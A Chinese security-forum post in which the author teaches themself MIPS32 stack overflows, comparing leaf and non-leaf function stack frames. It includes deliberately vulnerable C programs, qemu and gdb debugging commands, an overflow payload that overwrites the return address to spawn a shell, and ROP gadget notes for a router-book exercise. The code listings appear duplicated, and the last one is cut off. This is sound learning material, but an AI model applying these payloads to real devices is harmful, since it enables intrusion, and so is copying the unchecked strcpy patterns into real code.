首页
社区
课程
招聘
MIPS栈溢出初探
发表于: 2020-10-25 19:18 8752

MIPS栈溢出初探

2020-10-25 19:18
8752

上周,花了一周多一点的时间来学了一些Linux kernel pwn入门,主要是学了Wiki上面的四个利用姿势;具体可以看我的前几篇博客。然后的话,接下来会入门路由器的栈溢出。因为是初学,所以也会尽可能地详细地记录。

有关MIPS汇编的一些基础知识,可以参考以下我的这一篇博文
在计算机科学中,栈是一种具有先进后出队列特性的数据结构。调用栈是指存放某个程序正在运行的函数的信息的栈。调用栈由栈帧组成,每个栈帧对应一个未完成的函数。
而MIPS32架构的堆栈与传统PC的架构复杂指令系统不同,大多数采用Linux嵌入式操作系统的路由器采用的是MIPS指令系统,该指令系统属于精简指令系统。MIPS32架构的函数调用与x86架构有很大的差别,具体有以下几个方面:

举个栗子:

编译链接,查看汇编代码:

然后拉进ida查看

可以看到,在我们进入main函数的时候,并没有对RA寄存器进行任何操作,而当我们退出main函数的时候,是直接jr 到我们$ra寄存器存放的地址;这就是叶子函数调用时的栈布局。
下面稍作调整:

同上编译链接:

拉进ida查看:

可以看到,在我们进入main函数的栈之后,我们先把$ra寄存器的值存放到了我们的0x28+var_4($sp)这个栈空间,然后在我们退出main函数的栈时,先是把我们的0x28+var_4($sp)栈地址的值赋值给我们的$ra寄存器,然后再jr到对应地址。
所以,对于非叶子函数来说,如果存在局部变量溢出,就可能导致堆栈上的返回地址被覆盖,从而控制执行流。因此这种情况下缓冲区溢出是可以被利用的。但是对于叶子函数来说,它的返回地址是没有放置在栈上,所以我们无法修改对应的返回地址。但是这不意味者叶子函数的缓冲区溢出就完全无法利用。如果缓冲区溢出覆盖的区域足够大,我们是有可能覆盖到上一层调用该函数的函数的返回地址的。所以,当非叶子函数中存在缓冲区溢出漏洞时,程序上的执行流程也是存在被劫持的可能性的。
因此,在MIPS32的体系中,栈溢出利用仍然是可行的。

编译链接

先挂起:

然后gdb连接调试:

然后再在gdb里面

gdb连接起来后,在我们的strcpy之后下个断点:

然后查看此时栈的情况:
图片描述
所以,由上图可以算出覆盖到返回地址的地址偏移。

最后利用:

成功get到我们的shell!!!

栈的布局,可以看看这幅图:
图片描述
栈的生长方向为低地址向高地址,缓冲区溢出时就向 main 函数的区域溢出,控制程序流也就需要溢出到原来的RA寄存器处的栈空间

这里讲一下环境的安装吧,这里的环境又搞了我好久。。。。
首先,我们需要ROP链,就需要找gadget。
而在MIPS架构中,一般是利用ida中的插件mipsrop。
但是这个mipsrop插件有两个版本,一个是只支持ida 6.7以下版本的;一个是支持ida 7.0版本的。
昨晚的时候先是在ubantu安装了wine,然后在ubantu模拟运行了Windows版本的ida 6.8,发现里面的py脚本无效,后来就在ubantu中利用wine模拟运行ida7.0,然后发现缺少很多Windows下的dll文件,然后就在我的Windows复制过去,但是还是不成功,压根无法运行起来。
最后是安装了ubantu版本的ida,然后用了第一个版本的插件,才成功了。主要是参考了这篇文章

这里主要是以路由器0day里面的那道题为例:

题目的漏洞比较明显,我们的main函数中buf存在溢出条件,而且main函数还是非叶子函数,所以我们可以利用覆盖栈中的返回地址(保存的RA寄存器)。

首先需要查看我们覆盖的buf距离我们栈中返回地址的偏移。我这里是利用了书本给的脚本生成我们的测试文件(其实这个挺随意的,主要生成的字符串保证不重复即可)

生成我们的测试文件passwd,然后我们利用ida远程调试;
先挂起

然后利用我们的ida远程链接,f9让其跑,最后发现:
图片描述
图片描述
PC寄存器被我们引到0x6e41376e处,也就是字符串"n7An"(我安装的是小端序),所以我们可以利用ubantu自带的LibreOffice查找偏移:
图片描述

这里我利用的是上面说到的mipsrop,ida中的一个插件。
图片描述
图片描述
发现这个gadget符合我们的要求,因为我们的do_system的第一个参数(对应于a0)对我们并没有关系,我们只需要劫持我们的第二个参数(a1)为我们的"/sh"等get shell参数即可。
所以,我们只需要在我们的sp+0x18的位置构造我们的get shell参数,在我们的sp+0x54的地方构造我们的do_system函数的地址即可。
这里说一个自己踩的坑吧。我们的ROP链是在main函数返回上一层才会被触发的,当运行到我们的ROP链时,这时候main的栈已经被回收了。
图片描述

https://www.anquanke.com/post/id/169689
https://xz.aliyun.com/t/6808#toc-11

int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}
int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
    }
}
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/no_leaf
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/no_leaf
int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}
int main(){
    int i;
    int sum = 0;
    for(i=0;i<5;i++){
        sum = sum +i;
        printf("sum = %d",sum);
    }
}
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/leaf
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static  -o ~/leaf
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o  ~/stack
./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o  ~/stack
qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa
qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa
gdb-multiarch  ./stack
gdb-multiarch  ./stack
target remote:1234
target remote:1234
qemu-mipsel stack `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
qemu-mipsel stack `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int filelen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
{
filelen=fileData.st_size;
}
else
{
return 1;
}
if((fp=fopen("passwd","rb"))==NULL)
{
printf("cannot open file passwd!\n");
}
ch=fgetc(fp);
while(count<=filelen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else{
printf("you have an invalid password!\n");
}
fclose(fp);
}
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int filelen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-10-25 19:19 被T1e9u编辑 ,原因:
收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 4009
活跃值: (3057)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
不错
2020-10-26 10:05
1
雪    币: 2089
活跃值: (3933)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
会MIPS的太少了,支持。
2020-10-26 15:23
1
游客
登录 | 注册 方可回帖
返回
//